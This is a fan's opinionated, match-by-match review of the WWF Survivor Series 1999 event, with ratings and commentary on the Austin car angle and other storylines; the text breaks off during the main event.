Survivor Series Count-Up – 1999 (Original): One Night In A Garage

IMG Credit: WWE

Survivor Series 1999
Date: November 14, 1999
Location: Joe Louis Arena, Detroit, Michigan
Attendance: 18,375
Commentators: Jim Ross, Jerry Lawler

Now this is a show where a year really does make a difference. There’s two major issues with this show. Number one, Kurt Angle is debuting here. He’s been talked about for months and tonight he’s fighting Shawn Stasiak. If we had vbookie back then, that match might set a record for biggest amount of money ever won on a single match. Also, this is the last PPV Austin was on for nearly a year, as he FINALLY took time off to have his neck fixed.

The problem simply was that his neck was destroyed by then and the surgery only helped to a certain extent. Had he had this done two years ago when he should have, he might still be wrestling today. Granted it likely would have been for WCW as Vince would have been out of business without Austin, but that’s whatever. The main event here was supposed to be the showdown we all had been waiting for with HHH vs. Rock vs. Austin for the title, but obviously that couldn’t happen.

HHH is champion here, having won it the night after Summerslam from Foley. A lot of the now familiar faces are here now, such as Angle, the Dudleyz, Chris Jericho and Chyna. The Radicalz would debut in January, more or less crippling WCW once and for all (for those that don’t know, the Radicalz were Perry Saturn, Chris Benoit, Dean Malenko and Eddie Guerrero, four of the young studs in WCW that were fed up with never being given a chance in WCW and finally saying screw this and leaving as a unit). Anyway, the card looks fairly good, so let’s do it.

Naturally the intro is about the triple threat that would never come. I’m not sure if I like Vince doing this big of a buildup when he knew that Austin wouldn’t be in it. That’s not quite as bad as Jake and Savage from 91 because 2/3 were in the match, but it’s something you would kind of give a look at. Vince was guest referee for it also. After a very short discussion from Lawler and Ross, we’re ready to go.

Godfather/D’lo/Headbangers vs. Dudleyz/Acolytes

Dang that’s a heck of a heel team. This was when the Dudleyz had just debuted and therefore they were the biggest tag team in the world because the 3D was unlike any move that anyone had seen in forever. At this point Godfather for some reason is one of the most over guys on the roster, which no one will ever get. He has the hos with him and makes his weed references which would NEVER be safe today. Brown is dressed like him too. Oh my stars and garter belts.

Of course the Headbangers are dressed the same way. Oh just take me now. They get ZERO reaction, thank goodness. This was still when Bubba was a stutterer with a big southern accent and D-Von wore overalls, so it’s the best they’ve ever been. Bubba is incredibly funny asking the Godfather for the hoes instead of a match. Godfather is incredibly stupid sounding telling him no. I don’t remember that Acolytes music.

The APA gimmick was coming soon, but not quite here yet. We start with Mosh against Bubba, which spells the whole match in a nutshell. Apparently Mosh has an amateur background. Did that blow anyone else’s mind but me? You can clearly see fans leaving the arena to get popcorn or beer or something, so you can tell how good this match is. After a Clothesline From JBL, Thrasher is gone and it’s 4-3.

Who would have thought that in five years Bradshaw would be world champion? Immediately after Bradshaw turns around Mosh hits a top rope cross body which gets a two. What, did you actually think that was going to work? Teddy Long is a referee here. That’s just humorous. If nothing else, Mosh is trying. He’s not very good, but he’s trying at least. I’ll give him credit for that.

Not everyone can have a 5 star classic, but I’ll give big credit to people that are working hard out there trying to do something, and that’s what Mosh was doing. I say was doing because the 3D makes it 4-2. That leaves us with D’lo and Godfather against four guys. Brown does something very simple but also very smart. He hits that legdrop he does and covers Bubba, but he looks straight at his opponents’ corner. That’s very intelligent when you think about it.

If you’re trying to sell this match, then you want to cover the intelligence factors of it. By making sure that he’s not going to get jumped, D’lo is doing that. It’s a tiny thing but it makes a big difference. Now let’s get to the stupid stuff because you know it’s coming. Bradshaw pops Brown and Bubba with some SICK chair shots to be DQed. Farrooq and D-Von now fight over who should get the pin.

In the stupidest part of this, D-Von covers him and Farrooq drops a leg on him. He looks at D-Von who is up and then covers as well. Yeah that’s going to go well. They brawl to the back and are apparently counted out, which just like in 1994, DOESN’T MAKE ANY SENSE. Neither guy is legal, so it’s exactly the same thing as standing on the apron. That’s just stupid, but anyway it’s 2-1 now. I’ve always loved Bubba’s side slam. It just looks sweet all around.

Bubba is completely destroying him here, but Brown escapes long enough to tag in…and I hate having to say this…the former Intercontinental Champion, who dominates for a bit before hitting the crappy splash in the corner to set up the Low Down for the pin. I really hate these guys. Make that I hate Godfather. At least Brown had some cool moves. Only here in this time frame would this be the intelligent booking to go with. The ho dance takes us to the next segment.

Rating: B-. The booking makes ZERO sense from modern perspective, and there really was no point to the Headbangers being there. They split up soon enough anyway. Godfather was for some reason considered a somewhat big deal for reasons that mere mortals like myself can’t comprehend. The Dudleyz would soon be where they belonged, but here they were rookies to the company. It was an ok match with everyone working hard, so I’ll take it I guess as a decent opener.

We get a video package on Kurt Angle. This is pure greatness as he is this arrogant jerk but he acts like the all American boy. It’s just awesome. His resume really is awesome when you think about it. I’m so used to seeing him bald that it’s weird seeing him with a full head of hair. Also, this was back when Angle had that pleasant little thing called sanity.

Shawn Stasiak vs. Kurt Angle

Let the jobbing begin. I have never heard more generic music in my life. Apparently his big claim to fame is being the son of a transitional world champion. Oh dear. Angle’s introduction is all impressive and a listing of his accomplishments which is just comical. He’s so clean cut that it’s great considering what he was going to become. Angle had a great advantage to him just as all other “real” wrestlers have.

They need less seasoning and training because they have the amateur background to fall back on. He can learn as he goes but can just go out there and do basic suplexes and holds etc. while not really having learned a lot. It can be called adjusting to the new style, which is actually true. They describe Stasiak as no slouch, and you know what that means. They go onto the mat, and in something that shocks me, Stasiak keeps up with him. That’s very surprising.

Angle hits a textbook overhead belly to belly and gets NOTHING. The fans are chanting for the Redwings because they’re idiots. This is proof of everything that’s wrong with the Attitude Era. Angle and Stasiak just did a very fast paced and crisp mat sequence and then went into a standard wrestling sequence with Angle playing to the crowd very well. However because no referee got bumped and no cursing was done and no weapons were used, the fans hate it. That to me is hogwash.

I was impressed by what I just saw, but apparently it’s boring. And that my friends is why the Attitude Era sucked. It was about drama and not wrestling. That’s just awful all around. Angle and Benoit and Jericho saved the sport more than anyone else because they got in there and just put on classic after classic after classic and it got the fans more interested in the athleticism they were seeing.

Angle has a great look to him with the red white and blue being the most basic outfit you can have and it simply doesn’t fail. Oh he also came out to what used to be Patriot’s music that is now known as his. The fans are DEAD other than a boring chant. In the middle of the match, Angle hits the floor and cuts a promo about how you don’t boo an Olympic gold medalist because he’s the best in the world.

That’s simple but effective. JR brings up a point that’s been argued many times over on these forums: the fans paid their money and can cheer or boo for whomever they want. At the risk of starting a page long debate, I’ll go with I agree with him. People love and cheer for Darth Vader. That doesn’t mean he’s a horrible character. Anyway, Stasiak whispers spots to Angle while in a chinlock.

Angle has a SWEET counter to what I think was a scoop slam from when he came off the ropes as he spins around completely and lands on his feet. It’s hard to describe but it looked awesome. Stasiak could have been decent if pushed right. That’s the big issue: he was just boring. He hits what we would call a slightly modified F5 with the only difference being he throws his body backwards and lands on his stomach instead of next to next to Angle on his back.

It worked fairly well for him though. This is his PPV debut as well apparently. He hits the rotating belly to back suplex for the pin. He gets booed and just doesn’t understand it which is a great character to say the least.

Rating: C+. For a future superstar making his debut, this was ok, but it needed to be maybe a minute shorter. Stasiak being on offense for the most part makes sense here, as he’s more experienced so it makes sense that Angle takes a bit to adjust to him. Also, it makes sense that he carries the match since Angle is a rookie. This was fine, but the fans disappoint me with how jaded they are.

We get a clip from Heat where HHH tried to get Austin and Rock beaten up which failed completely.

Val Venis/Gangrel/Mark Henry/Steve Blackman vs. British Bulldog/Mean Street Posse

The Posse was a group of Shane’s friends that won I think a combined four matches in the company. Venis is the embodiment of everything that was wrong with the Attitude Era, and he’s one of the most remembered stars of it. Despite how over the top his character was, he really was a solid wrestler and there are rumors he was the official test run for new wrestlers. Allegedly, Vince would have Venis wrestle new guys to see if they had anything. A lot of jobs could have been won or lost based on his recommendations. Granted that’s just a rumor so it very well could be false, but it makes sense when you think about it. I have no clue what the point of this match is, but whatever.

My best guess would be to get Val more over. Ross says that they have nothing in common, so at least it’s not something I’m missing. Henry is the Hershey Bar of Love at this point. Gangrel, despite being completely and utterly awful at anything wrestling related, does have one of the sweetest entrances of all time. I’m still not sure if I like Blackman or not. I used to hate him but the more I see of him the more I think I like him.

For no apparent reason after the faces come out we see a graphic for the match which JR sums up quite well: “There’s your match.” Bulldog was gone in about 6 months after this. He’s European Champion at this point. The Posse is comprised of Pete Gas, Joey Abs and Rodney. They’re as generic as their names imply. We start with the two most talented guys in the match, Bulldog and Venis. Actually they might be the only two talented guys in the match.

Since it’s the Survivor Series, we get a Montreal reference. Lawler of course asks for details. That delayed suplex is just a thing of beauty. That’s real strength. Pete comes in and naturally gets his head handed to him. He gets some decent stuff in to be fair, but the gimmick was just never going to work in the end. Blackman comes in and ends Pete with a bicycle kick. That was short and sweet I guess.

Ross simply does not like the Posse. “He looks like he went to a barber college and went to the guys with bad grades.” Where in the world does he come up with these things? Oh dear it’s Rodney vs. Gangrel. This could set wrestling back 100 years. It only sets it back 50 or so as Joey misses a shot to Rodney and Gangrel hits the Impaler to end him. Edge really needs to go back to that. It just looks awesome on so many levels.

It’s 4-2 for those of you that are wondering. Joey is in now, and he’s by far the most talented of these guys as he had some wrestling experience before coming to the WWF. Joey actually picks up Mark Henry to drape him over the top rope. That wasn’t bad. Joey is gone soon after though due to a massive splash. As I’ve said on so many occasions: if you use a splash that’s not from the top rope as a finisher, you likely suck.

Henry catches Bulldog coming off the ropes in a press slam, but doesn’t get him all the way up and kind of throws him. Not only did that look bad, but it was fairly dangerous. Henry probably expected a raise for it. Bulldog is up holding his shoulder so apparently I might be right. He catches the incredibly agile Gangrel on the top and suplexes him down for the pin. We get a Cleveland Indians reference, which Lawler quickly corrects.

In one of the DUMBEST refereeing moves I’ve ever seen, Bulldog hits a PerfectPlex on Blackman for the pin. That’s fine on paper, but Blackman’s arm is AT LEAST 6 inches off the mat and right in front of the referee. Ok, I can understand missing something minor but that was just horrendous. My mouth actually opened at the sight of that. After that horribleness, we’re back to Val and Bulldog. The faces double team him as Lawler asks what they’re doing.

Ross’ response: it looks like Val and Mark Henry are double teaming the Bulldog. Just a guess.” That was funny. Dang I just thought JR was funny. I need more sleep. Val hooks a small package, which there has to be a joke about somewhere. Naturally JR becomes a jerk a few seconds later so I knew it wasn’t going to last. Both guys hit splashes on him to end this. The sex jokes start up as I wince at them.

Rating: D+. This was a big step down from the earlier match. It just seemed pointless as even Ross said there was nothing in common between the faces. I fail to see the point in this match, but it’s the late 90s so that’s likely the point. Val and Bulldog were the only decent wrestlers out there, so yep, we have an Attitude Era match. This just wasn’t really needed.

Michael Cole more or less barges into the Divas (not called that yet) locker room where Ivory throws herself at him. Naturally, Cole leaves. This was pointless.

Mae/Moolah/Debra/Tori vs. Ivory/Luna/Jackie/Terri

This isn’t Torrie Wilson mind you, but the original psycho fan Tori that was rather hot at times, but set a new record for how bad a women’s wrestler could be. This is one fall, thank goodness. This was two months before the legendarily creepy moment where Mae was topless on PPV somewhere in her 80s. Naturally, Wrestlezone had a link up where you could see the pics. Ok I only looked twice. It’s not that big of a deal.

Yep, Tori looks insanely hot. She’s Kane’s girlfriend at this point. Debra gets a MASSIVE pop. We cut to a shot of Lawler which is cracking me up with how big his eyes are. Lawler’s jokes about Moolah and Mae are quite funny. Ross says Moolah used to have a figure like Miss America. According to Lawler she’s lost a lot of Canada and gained a lot of Mexico. Think about that one for a minute and you’ll get it. I’ve never liked Jackie. She’s just annoying.

Luna is apparently a few sandwiches short of a picnic. All of these girls’ music sounds exactly the same. Ivory is Women’s Champion at this point, having both amazingly and pathetically beaten Moolah for the belt a few weeks before this. Moolah and Mae would both be 76 at this point. Yeah it’s pathetic. Why would Vince allow them to wrestle? That’s just stupid. Sadly, they’re the 2nd and 3rd best workers out there regardless of age, and they’re just behind Luna.

Jackie might be better but I hate her so she’s out. Terri is managing the Hardys right now, as they won the Terri Invitational Tournament. It was just them vs. Edge and Christian in a best of seven series culminating in a ladder match, but it did what it was supposed to do. This is a pure T&A match here. Good grief they’re STILL on the introductions. Even money says they’ll go longer than the match. We get the standard warning from JR that this might not be pretty. Please just make it short.

They actually throw Mae through the ropes to the floor. This is just ridiculous. I don’t care if they say they can do this or not. They’re in their 70s and don’t belong anywhere NEAR a freaking ring. Thankfully we move on to Tori vs. Jackie. Reread that and let it sink in. That’s something you may never read again, period. The level of sloppiness in this match hasn’t been invented yet.

Jackie and Luna botch a tag. You read that correctly. They missed a FREAKING TAG. How is that possible? You slap the other person’s hand. It’s really not that complicated. I’ve seen monkeys that can do it. I’ve seen infants that can do it. I’ve even seen mods that can do it, yet they botched it. Tori slows down to duck a double clothesline, and now Moolah (accidentally called Lillian) is back in.

After slamming Ivory (rather impressive actually), they hit what was supposed to be a double clothesline to pin her. They put their hands together and dropped to their knees for it. It’s worse than it sounds. No one gets that it’s over which I think was because they just ended it while it was only embarrassing. Terri gets her top ripped off to end this idiocy. Apparently not as we have a brawl. Just end it, please.

Rating: N/A. To allow two women in their late 70s into a wrestling ring and have them try to compete is completely and utterly appalling. It’s irresponsible and ridiculous to say the least and Vince should be ashamed of himself for it. I’m disgusted by this.

We get an ad for WWF.com. It’s a blind guy walking around and another guy shifts him so that he gets hit by a bus. That…was stupid.

Lillian Garcia, who looks a heck of a lot hotter here if that’s possible, talks to the now heel X-Pac. He says he carried Kane. He sounds drunk.

X-Pac vs. Kane

I’ve always loved X-Pac’s music. We get a quick interview from earlier in the night where Tori talks for Kane. Naturally, Tori references something that X-Pac wouldn’t talk about for about two hours so there we go. Kane is rocking the alternate costume tonight with mostly black and a bit of red. I’ve always liked that one better. The basic story here is X-Pac and Kane were tag champions, they lost two matches and Pac split.

X-Pac had been mainly wrestling giants and it was around this time that he became completely hated. I wonder if there’s a connection there. By jove I think there is! Naturally Kane starts off by dominating but Pac lands a kick to the face to slow him down. Shockingly enough, Tori is blamed for this. Pac hits a sweet kick as they debate Kane’s alleged impotence. Who feeds them these lines?

He goes for the Bronco Buster and gets choked into a backbreaker. When Kane hits that top rope clothesline right, it is an absolute thing of beauty and one of my favorite moves ever. Kane hits the chokeslam and assumes the position to be pulled out and there’s Road Dogg to do so. To do so is fun type. X-Pac hits the X-Factor and Kane uses the power kickout because that move is just garbage of the highest quality. Or would it be lowest quality? Eh whatever.

Kane sets for a tombstone but HHH runs out and hits him with the belt for the DQ. Now that’s the kind of heel stable leader that children can be proud of: one that runs in and nails a guy with a belt to save his teammates. Learn something Orton (assuming Legacy is still together in two months’ time). Lawler says that Kane has always wanted to be the WWF Champion.

I know it was short Jerry, but can you at least remember who has been World Champion and who hasn’t? DX sets him up for the dreaded Bronco Buster because you know, it’s deadly and painful, but Tori runs, or bounces I guess, to the ring. X-Pac kicks the heck out of her, allegedly by accident.

This awakens Kane to kill Pac but he bails. Naturally Tori would leave Kane soon enough to become X-Pac’s girlfriend in about a week despite him kicking her in the face. JR says that DX is scattering like quail. WHAT IN THE WORLD IS JR ON?

Rating: C+. This was barely over four minutes so it’s hard to grade. Kane beat on Pac, so that’s a good sign I suppose. It was a brawl (in the Attitude Era? YOU CAN’T BE SERIOUS!) for the most part with Kane just beating the living tar out of him for the most part. The run in was pretty stupid, but I guess it was required to keep the feud going. I hate it, but it had to be done I suppose.

They show a replay of the kick, and it’s so far off that Lawler slips up and can’t finish his line of how solid that kick was without a pause. It’s that bad. This is why they need to screen those replays. That was abysmal.

Cole is with Rock as we cue the big pop. Before he can talk though, HHH shows up and the brawl is on.

Send in your cable bill and get a free Rock pendent. Again, this is a good idea that they should bring back. It’s not going to kill them to throw out some Cena wristbands or something like that.

Big Show vs. Prince Albert/Mideon/Viscera/Bossman

Mideon has his face painted which looks very odd. Boss Man and Show were in the middle of an angle where Boss Man was tormenting Show because Show’s father passed away. It would lead to a match on PPV which was horrible. It eventually led to the great line of “Big Show, you’re a bastard and your mama said so!” That’s a great line, period. We see Boss Man reading a sympathy card for Show’s dad and with the deadpan delivery, it’s awesome.

We get another great scene where Boss Man interrupts Show’s father’s funeral (for those that don’t remember, Show was said to be the son of Andre the Giant, so in other words it’s taken 6 and a half years to bury Andre. I love the redoing of storylines.) and tying the casket to a car. Show gave chase and is dragged off on top of the casket. It’s out of a bad comedy movie and cracks me up every time. Boss Man is hardcore champion at this point.

Also, Show was supposed to have Kai En Tai and Blue Meanie as partners, but he beat them up so this would be a handicap match. At least they didn’t really let them do that match as it would have made less sense than the Val/Bulldog team. Naturally, we have a replay of it. Heat used to be awesome. Stuff actually happened on it which never happens anymore. The people pop for Show fairly well, which turns out to be a good thing.

Show also has long hair here, which takes a bit of getting used to. Show knocks down Albert (A-Train) and then spins around looking for someone else to hit in a funny spot. After that, Show hits three chokeslams and the best big man bodyslam I’ve ever seen on Viscera inside of 30 seconds to eliminate three guys not named Big Boss Man, who runs for the count out.

Rating: N/A. I can’t grade a minute and a half match, but Show was AWESOME here. This is how Show should have been booked his entire career as he just ran through three good sized men with absolute ease. He picked up Viscera and slammed him with absolute ease. I mean he looked like he was slamming X-Pac or something. The booking was there, the pops were there, and this was the time to do something with Big Show. Alas, nothing would come of it.

Buy Armageddon. Steve Austin will be there.

Kevin Kelly is with Austin, but before he can talk HHH jumps him. In a funny looking spot he punches Austin and takes a sip of water. That just looked odd. Austin chases him while putting his hat on. Road Dogg and X-Pac are running as well, and Austin is in the parking garage. He looks up, and THAT CAR JUST RAN OVER AUSTIN!

Yes, this is the infamous car angle where Austin was hit by a speeding car in a hit and run that put him on the shelf for nearly a year, paving the way for Rock and HHH to rise up to the top of the company. Note: Rock only got as big as Austin when there was no Austin there. This became the top angle in the company next summer as the hunt was on for who ran him down. This was the height of the Attitude Era and their true life angles.

Vince is seen sprinting to the garage to check on Austin, as do Stephanie, her boyfriend/fiancé Test and eventually HHH. Vince sees HHH and immediately accuses him of being the driver which he denies. Ross has gone to the back as well, so Lawler asks the question that would become the million dollar question for the next year or so: who was driving the car? Like I said, this was the excuse used for Austin to go off and have neck surgery that he desperately needed, albeit back in 1997.

HHH and DX keep saying they had nothing to do with this. This angle was fairly well hidden from the IWC, but they knew that Austin would not be wrestling in the main event that night. Now that brings up another question that I’ll get to when we get to the main event.

Anyway, the main thing here is the angle of who was driving. We would find out in the fall of 2000. I can’t remember who it was, but someone mentions that the driver had blonde hair. Commissioner Mick Foley plays detective and eventually deduces who it was based on something Scotty 2 Hotty says. Scotty said something along the lines of he and Grand Master were with Rikishi partying that night.

Mick uses this information to deduce that it was Rikishi that was driving, based on the fact that Rikishi hadn’t debuted yet. This was an issue for two reasons. Number one, so what if he hadn’t debuted yet? Too Cool can’t have non-wrestling friends? Number two, Rikishi already had debuted on Jakked, which aired the night before Survivor Series. The second one I can excuse, because the show came on at 2am and it wasn’t something everyone got.

Also, it was a year ago and not a lot of people are going to remember a specific Saturday night at 2am a year ago, so that’s ok. The explanation of how Foley knew it was Rikishi never made sense to me, but whatever. He claimed that he did it for the Rock, his cousin, because Rock was being held down by the white man. Yes, that’s what they went with. Austin came back and Rikishi was the number two heel in the company. The story BOMBED.

This happened for about a million reasons. First of all, it made zero sense. Just reread the storyline and tell me how it’s a good idea. Second, all signs pointed to HHH. It made sense for it to be HHH. It should have freaking been HHH. Finally, IT’S FREAKING RIKISHI! What in the heck can Austin do with someone like Rikishi? That became the problem. He was just too fat to do anything with.

After about eight seconds the company figured this out and switched it up so that Rikishi was just working on HHH’s orders. That at least made sense. It led to a short HHH vs. Austin feud, but in the end it was really a short length feud, which I guess was ok as those two have always hated each other. Either way, this blew the doors off the hinges for awhile as it was the hottest story in the sport. I think the main reason it failed was because of Rikishi.

It just made zero sense as he went from being a fat midcard guy that was a comedy character to a criminal mastermind helping his cousin because of race overnight. That just doesn’t work. HHH would have been perfect for the master villain, because it’s totally something he would have done.

It was still ok, but it could have been light years better. They at least tried though and I’ll give them credit for that. I can’t imagine they had Rikishi planned the whole time, as they had about 10 months before they had to explain it.

They really handled this part of the show well as this looked very real. You have to factor in that this was the first time that something like this had been done, so it blew our minds. It wasn’t something like Vince having the set fall on him or something stupid like that. This was a huge deal at the time and it came off perfectly.

And with no transition, let’s keep going.

Intercontinental Title: Chyna vs. Chris Jericho

Chyna is the first ever female IC Champion. Now at the time, this was a HUGE deal. This was one of the biggest angles of the year as I think it even got some mainstream coverage. It really is a big deal when you think of it. Can you imagine today say Mickie James feuding with John Morrison and having a legit chance of beating him?

That’s absurd sounding right? This worked, and was a big deal on so many levels. On top of that, the matches were good. And on top of that, Chyna and Miss Kitty looked hotter than any two humans should be allowed to be. Oh yeah the match.

Jericho is getting bigger and bigger pops every time he comes through the curtain. JR is back and clearly is a good bit shaken up. They go at it immediately and Jericho shoves Kitty down. Jericho was more or less replacing Jarrett in this feud. I think that’s a major upgrade for them. Loud Jericho chant starts up.

Chyna winds up on the floor as this is starting kind of slowly. Jericho hits a dive to take her out as Ross talks about Austin more. I can accept it this time though as it’s a major deal. Lawler tells him to be a professional. That’s rather unfunny. Jericho sends her into the table and the announcers get chivalrous all of a sudden.

Missile dropkick gets two. More Austin talk from Ross as Jericho is dominating. Jericho does the foot on chest cover for two. The fans boo Chyna a bit and pop big for Jericho and they actually reference it on commentary. Lawler says they booed the gold medalists here for Christ’s sake. It’s weird hearing that on commentary in WWE no matter what era.

Clothesline puts Chyna on the floor as impressively this isn’t getting boring. He kisses Kitty which ticks off Jerry a bit. Chyna finally wakes up a bit and takes down Jericho to even more booing. Jericho gets a powerbomb for only two. We reference a boxing match from last night as Vince couldn’t be happier than to be bigger than boxing.

Apparently Jericho has said he’ll get a sex change if he loses. Handspring elbow and DDT get two. Down goes the referee and Jericho pops her with the title which was in the corner ala a WCW belt. Never been a fan of that. That only gets two though as Jericho is stunned.

Pedigree gets two. It’s not everyday he can kick out of that so he better use the opportunity while he has it. The Walls go on and the title is in trouble. She gets close to the ropes but is dragged back into the middle before crawling back and getting them the second time. They fight to the corner and Chyna gets a Pedigree off the middle rope for the pin. Dude, did Punk copy Chyna?

Rating: B. Now that’s more like it! That right there is the biggest reason why the feud worked: the matches were good. You could see very clearly though that Jericho would have to turn face soon though as his pops were just off the charts. It makes me feel better to know that at the end of the day, no matter how many stupid angles or whatever is going on, the crowd will react best to solid wrestling, and that’s what they got here.

At no time during this match did Chyna’s gender make it seem like she was weaker, not once. That’s a big vote of confidence in Chyna as well. Not only was she given the Intercontinental Title, but she had a decent run with it. I think she held it three times, and she defended it on PPV. That’s saying a lot when you think about it. Vince has a huge midcard and he picked her to be the champion of it. That’s saying a lot. Solid match.

Test, Shane and Stephanie are in the locker room and DX comes in. Once again they deny doing anything. I think everyone knew that HHH had something to do with it, but we weren’t sure what. HHH asks if it’s a triple threat still and gets thrown out.

Hardy Boys/Edge and Christian vs. Hollies/Too Cool

Holy one sided match Batman! Or at least it should be, but since it’s four wrestlers against four gimmick guys, I’d be willing to bet on how this is going to go. Everyone knew that the more famous teams here were going to be something very special, but no one knew what was coming. Edge and Christian come through the crowd which is just always cool looking. Scotty just looks flat out stupid. Edge of course looks cool.

Ross says he can’t get his mind into the match. That makes sense. Lawler saying that it’s not a big deal is a lot funnier than it sounds. I certainly wouldn’t believe that three of the four would become world champions within ten years, and arguably all four have. That’s impressive. It’s so strange to see these guys being the young studs that steal the show instead of being the names put on the signs that sell tickets to the shows.

Ross keeps talking about Austin, which for once doesn’t bother me. When Schiavone and Heenan would talk about everything but the match all of the time it would drive me insane. Here, it’s at least mainly about the match and then a few moments about Austin. I will never forget a Nitro where the TV Title changed hands and literally, the first mention of the 8 minute match was to say there was a new champion.

Other than that, it was ALL about the main event. That’s just disrespectful. I can understand it when a major thing happens like this, but not for a TV main event. Lawler is just flat out mean here and I’m loving it. He’s talking about Grand Master the whole time, and this is before it’s revealed that it was his son. I think it’s more like the worst kept secret in wrestling at this point, as Lawler is making little jokes here and there about it.

For the second time tonight we lose a cameraman. Edge spears all three heels other than Scotty. I think Too Cool are heels, but I’m not sure. It’s not a heel gimmick if nothing else but whatever. I think the more famous team are supposed to be tweeners at this point.

Edge misses a spear and hits Matt with it instead, leading to him being rammed into by Jeff, which leads to Edge getting rolled up and pinned. Scotty hits a move that I’ve always thought would be cool. He gets on the top rope and dives forward like a front dropkick, but catches Matt’s head on the way down to pull him into a DDT to eliminate him, making it 4-2 all of a sudden. The Worm gets ZERO reaction, as Too Cool are indeed heels here. I thought so.

Yeah the famous guys are faces indeed here. I guess having Terri made me think they were heels. What am I saying? She was good looking so she must have been popular back then since that’s all that mattered. Ross doesn’t know what a hippie is. Oh come on now JR. It’s Oklahoma not Iceland. Ross threatens to give Lawler one finger which causes an audible chuckle from the King.

Ok, I can almost buy that Ross has never heard of hippies. But to imply that he’s never heard of Roy Rogers? Oh I don’t think so. What kind of man that wears a cowboy hat doesn’t know who Roy Rogers is? The Hollies start fighting which allows Jeff to hit a 450 on Scotty for the pin. He hadn’t started using the Swanton yet so that was his big move. I don’t get why he changed it. It’s not like the 450 was bad or something.

Maybe there was an injury along the way or something. Either way, he should have stuck with the 450. If nothing else it looks better. Just to be amusing, Lawler talks about how Ross has no sympathy for his best friend Austin because he keeps talking about the match. That’s just great stuff. When Lawler is on his game there’s no one better on the mic than him.

Christian and Jeff go for Poetry in Motion but Hardcore is waiting on the top rope to nail a dropkick onto Jeff in midair in a sweet looking spot. That was really cool. Grandmaster hits a legdrop from the top onto Jeff’s body to pin him, which should make him a world title contender I suppose. May the wrestling gods perish the thought. As he dances Christian grabs him and hits the reverse DDT to make it 2-1. That was quick.

Christian still doesn’t belong at the top of the food chain though. It’s the Hollies vs. Christian. JR asks King why he’s such a jerk. I’ve always wondered that myself. Tim White tells Crash to get out which makes me chuckle. After a short mini match, Christian pins Crash with the Unprettier, known to you rookies as the Killswitch Engaged.

I wonder why they named it after the band that does CM Punk’s song. Lawler will just not let up on Ross. Holly stops a victory roll to pin Christian about 30 seconds later in a very surprising win in my eyes. Granted that may be hindsight.

Rating: B. This was the spotfest match of the night and it worked very well. Those four guys were the future of the company, but I don’t think people thought it would take as long as it did for that to happen.

Either way, they were the hottest acts in the world and once they were paired with the Dudleys, they went through the roof. As for the match, it was fast paced and full of big spots, but that’s what these guys were best at and it was on display here in a good but not really deep match if that makes sense.

Shane, Test and Stephanie say that Austin didn’t lose consciousness, despite Ross saying he did when he was with him. Shane says there will still be a triple threat match, but it won’t have Austin in it. There’s a short rant/explanation coming on that later.

Tag Titles: New Age Outlaws vs. Al Snow/Mankind

What a great tag match before we get to the main event. The Outlaws are just past their height of popularity here, but they’re still way up there. The more I see of Road Dogg the more I like him I think. He’s just great on the mic every time you hear him talk and his in ring work wasn’t bad at all. The speculation of who the third man will be begins as Lawler wants to know who was driver. Lawler thinks it was Billy.

It wasn’t, but that would have made more sense than Rikishi. These arguments sound like something out of South Park. Mankind says that Austin is a tough son of a gun and after the match they’ll be going to check on him, but until then all they’ll be thinking about are the New Age Outlaws. This was around the time also that a Snow action figure was banned from Wal-Mart because one of those stupid parent’s groups decided that Head was a severed woman’s head.

You know because there’s so much blood and everything on it. Wal-Mart pulled it because they didn’t want to hear a bunch of whiny old women complaining and moaning about something else. Snow was thrilled by it for some weird reason. Mankind returned Head to him on Smackdown, which Ross of course describes as “Mankind gave Snow Head on Thursday”, because gay jokes are the funniest thing in the world right?

I mean that’s what commentators are for right? To crack stupid jokes. I really hate this era. Foley’s book had just come out too, which really was a good read. Lawler is in top form here with his insults and needling of Ross. Snow hits a pretty sweet looking jumping Downward Spiral as they discuss the Wal-Mart thing. Apparently they even mentioned it on SNL. That’s not bad.

Snow pops Road Dogg with a special Survivor Series chair. Only in professional wrestling is a souvenir steel chair a perfectly reasonable idea. The fans are really bored with this and I can understand that completely. There’s just nothing going on here. Foley was just about done here, with only the big feud with HHH left to end his career. Billy wrestling with a shirt on just looks odd for some reason.

Ross says that the Outlaws might be the best tag team ever. That’s just freaking stupid, but whatever. The tag tournament will be over by the time this is posted, so there we are. They blame Snow’s ineptness on the Wal-Mart thing instead of the fact that he just wasn’t that good at this point in his career. Billy gets the Fameasser which gets two.

Mankind gets up and hits the double arm DDT (called a suplex by JR, continuing his time honored tradition of only the best commentary that has ever been uttered by deities like himself) as Snow hits the Snow Plow, but after hitting both of their finishing moves, there’s no cover because Foley needs to get the sock.

I hate excesses like this. There’s just no point to them at all. To be fair it does get the crowd awake a bit. Billy gets out of it and Snow pops him with Head, but no pin. The Outlaws get a spike piledriver on Foley to end this.

Rating: D+. This was just boring until the end. I mean nothing happened for the most part. It was just random bad offense between four guys that just weren’t into this at all. This certainly shouldn’t have been the second to last match of the night as the fans are just a bit dead. This was nothing of note and the ending was just there.

They tell us the same things we heard earlier about Austin and we see it again. Oh another note that I forgot to mention: allegedly it was Rock’s car that hit him, but Rock said his car was stolen earlier in the night. That makes sense at least.

WWF Title: Rock vs. HHH vs.???

Rock comes out to bring the fans back to life which should be considered a miracle. Vince isn’t here to be guest referee either so this is screaming for Montreal 3. That big belt really looks awesome on a ton of levels. It’s more or less a given here that whoever the mystery guy is will become the new champion. That’s just how wrestling works. Now, as for the who it would be, every, and I mean every, sign on the face of the planet pointed to this being Test.

Think about it. At the time he had been moving higher and higher up the card, he had been feuding with HHH to a certain extent so the story is there, he was Stephanie’s fiancé (the infamous wedding was two weeks after this), and he was seen with Shane when Shane said it would still be a triple threat. Putting the title on Test for a two week run or maybe even a one day run, as ridiculous as it sounds now, would have made a lot of sense at the time actually.

He was one of the hottest young guys in the company, he was having solid matches, it fit with the storylines and he was very popular. Everything on the planet would have made you believe it would be Test. It’s not Test. It’s the Big Show. I remember seeing this and being confused but excited. Show at the time was young, new and awesome because they booked him right.

They rarely let him be in a match very long and it made him look unbelievably dominant. HHH is TICKED. Rock isn’t sure what to do. Naturally they jump him early which makes perfect sense. He hits an awesome looking diving double clothesline to take them out. I’m liking this. Show was the big monster at this point and this was working really well. He’s also a lot slimmer at this time so he looks like the monster that they always build him up to be today.

Show is throwing HHH around which is just impressive. Amazingly enough, we hit the floor less than three minutes into the match. At least they gave the in ring stuff a real chance this time. They say Show is the biggest man in WWF history at 7’2 and 500lbs. That’s just completely wrong but whatever.

